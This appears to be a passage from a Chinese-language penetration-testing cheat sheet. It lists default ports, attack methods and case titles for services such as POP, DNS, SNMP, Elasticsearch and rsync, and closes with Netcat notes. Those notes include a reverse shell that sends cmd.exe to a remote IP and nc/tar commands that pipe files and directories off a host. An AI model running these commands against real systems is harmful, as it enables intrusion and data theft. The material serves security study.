默认端口:109(POP2)、110(POP3)、995(POP3S)

攻击方式:

爆破;弱口令

未授权访问;

案例分享:

中国联通沃邮箱等部分Android客户端免密码登陆(可获取任意联通用户pop3密码)

中航信邮箱密码泄漏及VPN账号和大量邮箱弱口令导致可内网漫游拿到域控

IMAP协议
默认端口:143(imap)、993(imaps)

攻击方式:

爆破:弱口令

配置不当

案例分享:

163邮箱二次验证饶过缺陷

南方周末邮件服务器任意文件读取漏洞

网络常见协议端口渗透
DNS服务
默认端口:53

攻击方式:

区域传输漏洞

见2中的总结

案例分享:

全球Top1000Websites中存在DNS区域传送漏洞的网站列表

团购王某站DNS域传送漏洞

DNS泛解析与内容投毒

DHCP服务
默认端口:67&68、546(DHCP Failover做双机热备的)

攻击方式:

DHCP劫持;

见2中总结

案例分享:

流氓DHCP服务器内网攻击测试

SNMP协议
默认端口:161

攻击方式:

爆破:弱口令

案例分享:

snmp弱口令引起的信息泄漏

基于snmp的反射攻击的理论及其实现

华为某服务器SNMP弱口令

其他端口渗透
Hadoop文件服务
默认端口:请参考

案例分享:

Apache Hadoop远程命令执行

新浪漏洞系列第六弹–大量hadoop应用对外访问

Zookeeper服务
zookeeper:分布式的,开放源码的分布式应用程序协调服务;提供功能包括:配置维护、域名服务、分布式同步、组服务等。详情请参考百度百科

默认端口:2181

攻击方式:

未授权访问;

案例分享:

zookeeper未授权访问漏洞

网上关于这方面的案例暂时不多,但是对于大数据逐渐泛滥的今天,这些漏洞未来会在乌云上出现一大波!

Zabbix服务
zabbix:基于Web界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。监视各种网络参数,保证服务器系统的安全运营。

默认端口:8069

攻击方式:

远程命令执行:

案例分享:

当渗透遇到zabbix–小谈zabbix安全

Zabbix的前台SQL注射漏洞利用

网易zabbix运维不当,导致任意命令执行。(可提权、可内网渗透)

elasticsearch服务
elasticsearch:请百度(因为我觉得我解释不清楚)

默认端口:9200()、9300()

攻击方式:

未授权访问;

远程命令执行;

文件遍历;

低版本webshell植入;

案例分享:

ElasticSearch 远程代码执行漏洞

elasticsearch 漏洞利用工具

memcache服务
默认端口:11211

案例分享:

Memcache安全配置

memcache 未授权访问漏洞

Linux R服务
R服务:TCP端口512,513和514为著名的rlogin提供服务。在系统中被错误配置从而允许远程访问者从任何地方访问(标准的,rhosts + +)。

默认端口:512(remote process execution);513(remote login a la
telnet);514(cmd)

攻击方式:

使用rlogin直接登录对方系统;

RMI
RMI:我们使用这两个端口很少的原因是因为必须是java,而且rmi穿越防火墙并不好穿越;这里我不会去涉及其他的东西,这里提出RMI只是因为在前段时间的java反序列化中,我们的小伙伴Bird写过一个weblogic利用工具,里面涉及到了RMI的一些东西,在有的时候使用socket不能成功时,我们可以使用RMI方式来进行利用;

默认端口:1090()、1099()

攻击方式:

远程命令执行(java反序列化,调用rmi方式执行命令)

这就是RMI的魅力了!

工具下载:请点我

Rsync服务
Rsync:类UNIX系统下的数据备份工具(remote sync),属于增量备份;关于它的功能,大家自行百度百科吧,其实上面很多大家也看到了说是端口渗透,其实就是端口对应服务的渗透,服务一般出错就在配置或者版本问题上,rsync也不例外。Rsync默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。

默认端口:873

攻击方式:

未授权访问;

本地提权:rsync默认以root运行,利用rsync上传一个文件,只要这个文件具有s权限,我们执行我们的攻击脚本就可以具有root权限。详细请参考 和 参考二

案例分享:

搜狐几处rsync未授权访问

Socket代理
默认端口:1080

Socket代理针对代理来说没有什么漏洞,一般只是在渗透过程中作为我们的代理,进入内网,或者渗透域和林的时候有帮助。这里不做过多描述,但是可以尝试爆破一下代理的用户名和密码,万一运气好能登录,不也~~~~

案例分享:

利用php socket5代理渗透内网

0x02 总结两句
图解端口渗透
端口号


Netcat使用记录


监听999端口

-l -p 999

-e 重定向程序 cmd.exe

-L 直到结束。

-d 隐藏后台模式



端口转发:

nc.exe -lvvp 999  #hacker 
nc.exe -e cmd.exe IP 999 #loser


nc lp 999 <hack.txt -q 1  #将hack.txt放进管道以便传输
nc -nv IP >hackin.txt    #接受传输来的hack.txt文件



nc打包目录     

发送端   tar -cvf - dir/ | nc -lp 9995 -q 1  #横线不能少!  cvf压缩包
接收端  nc 192.168.8.142 9995 | tar xvf -                       #xvf解包






附录:

打包并压缩:

tar -zcvf xxx.tar.gz /test/*
tar -zcvf xxx.tar.gz aaa.txt bbb.txt ccc.txt